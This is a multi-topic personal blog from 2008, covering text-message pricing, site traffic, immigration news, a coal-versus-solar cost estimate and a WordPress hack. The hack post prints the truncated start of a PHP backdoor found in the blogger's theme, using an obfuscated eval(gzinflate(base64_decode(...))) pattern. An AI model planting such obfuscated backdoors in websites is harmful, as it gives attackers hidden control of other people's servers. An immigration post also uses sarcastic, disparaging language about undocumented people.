Lee.org

Wow, that’s a lot of posts. Why do I blog again? Oh yeah. “I blog for me.”

Rick T wrote me today….

Subject: You know what would be a fun art car at buning man?

A hovercraft.

It would be like our own portable dust storm!
 

Beautiful. :-)

I’m enjoying Grand-Illusions.com  more and more. I think I most enjoy the calm yet loving interest that our presenter has introducing each product in each video. He loves his job… it isn’t a job at all.

Qtpfsgui  is an open source High Dynamic Range image program. I gotta try it sometime soon. Grr, I don’t have any images in my collection that I can just shove through it… I need a set of exposure bracketed images taken from a tripod.

I came across this livejournal post a couple weeks ago. In it, Brad Fitzpatrick links to a letter  (local copy) by Senator Kohl of Wisconsin saying how cell phone providers should be ashamed of how expensive text messages have gotten

…Since 2005, the cost for a consumer to send or receive a text message over each of your services has increased by 100%. Text messages were commonly priced at 10 cents per message sent or received in 2005. As of the end of the month, the rate per text message will have increased to 20 cents on all four wireless carriers…
 

I wrote the following comment on Brad’s blog but since he hasn’t made me a “trusted commenter”… here’s what I originally had to say on the matter: (read the comments, my stance has changed)

I went to att.com to verify the claim that text rates have increased. Not only could I not verify it, but I found so many incredible new features, I think I might get a new phone to use them…. AT&T Navigator (turn by turn GPS directions for <$10/month), unlimited internet for $15, 200 texts for $5 (that’s 1/2 the cost of my current $0.05 alacarte texting, maybe I’ll start Twittering), live streaming video from my phone for $5/month…

What is your senator talking about?? It would seem that your senator is a panderer and/or can’t figure out how to use the AT&T website.

Apparently I’ve been stumbled-upon.
They sure like them funnies.

Super-Cache is working fine. Though I’ve gotten a few core dumps today. Figuring out what’s causing that will be a bother….

update 3pm: cores still dumping :-(. Just hit 30,000 views of “Motivational Posters” today. It’s funny how the rest of the site isn’t being visited at all; short attention span theater, eh?

update 9-23-08 10am: I upped the Super Cache settings to Garbage Collection every 5,000 requests, set a few pages to be Directly Cached files (Motivational Posters, The Amazing Power of Makeup, homepage). And there hasn’t been a core since last night. 41,000 hits to Motivational Posters so far today, 2,500 to The Amazing Power of Makeup.

update 9-24-08 2pm: I normally use about 1 gigabyte of web traffic per day. This Stumble-upon has brought that to 150 gigabytes/day and 150 thousand page requests/day for the last 2 days. Dreamhost allows me 7 terabytes/month so I should be fine for bandwidth. My Apache Analog stats says that I’ve had only a couple hundred failed file serves out of the approximately 6 million file requests in the last couple days, which is shows Dreamhost is handling the traffic fine.

Since upping the Super Cache Settings, I’ve gotten just 1 core dump at 23:59 last night. I’m guessing that garbage collection and bad luck conspire to cause a core dump every now and then.

In the September 16th SF Chronicle, Charlotte and I read with horror…

The headline in the paper paper was “College aid for illegals in jeopardy”. Online, it’s “Undocumented students’ college aid in jeopardy“. Apparently, the e-paper world likes “undocumented” better than “illegal”.

A state appellate court has put a financial cloud over the future of tens of thousands of undocumented California college students, saying a state law that grants them the same heavily subsidized tuition rate that is given to resident students is in conflict with federal law.

In a ruling reached Monday, the state Court of Appeal reversed a lower court’s decision that there were no substantial legal issues and sent the case back to the Yolo County Superior Court for trial.

“It has a huge impact,” said Kris Kobach, an attorney for the plaintiffs and a law professor at the University Missouri at Kansas City. “This is going to bring a halt to the law that has been giving in-state tuition to illegal immigrants.”

He said it is a big win for California taxpayers who have been subsidizing education for undocumented immigrants.

The suit was filed in 2005 by out-of-state students attending California colleges. They challenged the state’s practice of allowing illegal immigrants to pay significantly lower tuition than they pay at the University of California, the California State University and the California Community Colleges.  

In a related issue, September 17th cover story reads “Adult offenders shielded by SF” (read more here:  S.F.’s sanctuary city story so far)

Ok, the short form, if you’re an illegal immigrant and comit a felony in San Francisco, don’t sweat it. Just tell them you’re under 21 and you’ll get in under the “no undocumented juvenile left behind” program. San Francisco knows how hard it is to be a drug dealer on The Streets of San Francisco. They give you training with some of the finest juvenile drug offenders in the state in a no-pressure, no-security setting. And give you time to plan your next scam.

Mayor Newsome is trying to change this but we want no part in his right-wing plan!

Charlotte and I were walking down the street the other day and saw a sign painted on the sidewalk “Sanctuary City only for the rich”. Um, yeah. Whatever. You illegal juvenile felons don’t know how good you have it here.

Fucking spammers. Today I found a mountain of spam links for crap like zyrtec and zithromax in my footers.php.  All the links forward to  canadian-meds-shop.com. These are bad people:  scammers and thieves.

I also found a strange file in my wordpress theme file, 1.php. The file started like this:

<?PHP
              //Authentication
$login = “”; //Login
$pass = “”;  //Pass
$md5_pass = “”; //If no pass then hash
eval(gzinflate(base64_decode(‘HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//

I don’t know how this file got there or what it does but I’m pretty sure it’s bad stuff.

Do you want to try and figure out what this evil f’ing spam program does?  Here is the virus file. Caution! This is a bad program! (update: I removed the virus. It’s a bother that it keeps tripping my antivirus software.)

Tell me what you find out, would you?

Now I’ve got to figure out how they got on my system…. grrrrrr.

(via)

… coal-fired power plant is currently under construction in West Virginia. It is the 695-megawatt Longview plant in Monongalia County. Ground was broken in early 2007 for the $1.83 billion dollar plant – the first coal-fired plant built in West Virginia since 1993.

so it costs $2.6 million per megawatt of capacity to build a coal fired power plant.

(via)

… Nanosolar had teamed up with Beck Energy to build the 10-megawatt power plant, which would cost around €30 million ($42.75 million).

and it costs twice as much, $4.3 million per megawatt of capacity to build a solar powered power plant… only this plant needs no fuel except the sun for the next 10-30 years.

 
Ugh, there are way too many variables for me to actually say the solar plant is the way to go. The primary questions being:
 

• How much does it cost to fuel the coal plant per megawatt-hr
• What is the solar panel replacement regimen? Do panels need replacing after 5 years? 50?
• Are the numbers I’m looking at correct? A 10 megawatt solar plant obviously can’t produce at night so we’re not comparing apples to apples…

Ok, lets take a stab at it…. coal costs about $70 per short ton. Coal plants actually produce about 2.5 mWh/ton of coal (How much coal is required to run a 100-watt light bulb 24 hours a day for a year?)

To power the plant for 1 hour and generate 695 megawatts, you need (695/2.5) 278 tons of coal (wow, that’s a lot of truckloads of coal). That coal costs $19,460. To power the plant at full power for 10 years, you’d have to buy $1,704,696,000 in coal. (I’m not counting any other operating expenses but assuming fuel is the largest expense)

So with the solar plant, you’d spend twice as much to build the plant, an extra $1.83 billion and you’d recoup $1.7 billion in fuel costs over 10 years.

Oop, I’ve assumed that the solar plant is capable of running at full power 24 hours a day. Unless the plant is in orbit, it only gets good sun 8 hours/day… 1/3 of the day, tripling the payback period from 10 years to 30. In general amorphous solar panels have a life of 10+ years while crystalline solar panels have a 30+ year life. My first guess is that since Nanosolar’s panels are flexible and “printed” instead of grown crystals that they will have a similar lifespan to amorphous panels. But I certainly could be wrong, after all, they’ve got the word “nano” in the company’s name. And, more importantly, they put a 25 year warranty on the panels, hmm!

If the solar plant has a useful life of 30 years without major repairs (total panel or inverter replacement), it would seem that the costs of a solar plant are conceivably comparable to a coal fired plant. And that’s what we’ve all been hoping for. And then there’s that whole carbon-neutral, no-sulphur-dioxide, renewable thing…

Very exciting.

Avast! Not only is today international Park(ing) Day, (the only holiday with parenthesis that I know of) it’s also Talk Like a Pirate Day.

I see tremendous possibilities for boarding mobile parks cutlass clenched in me teeth.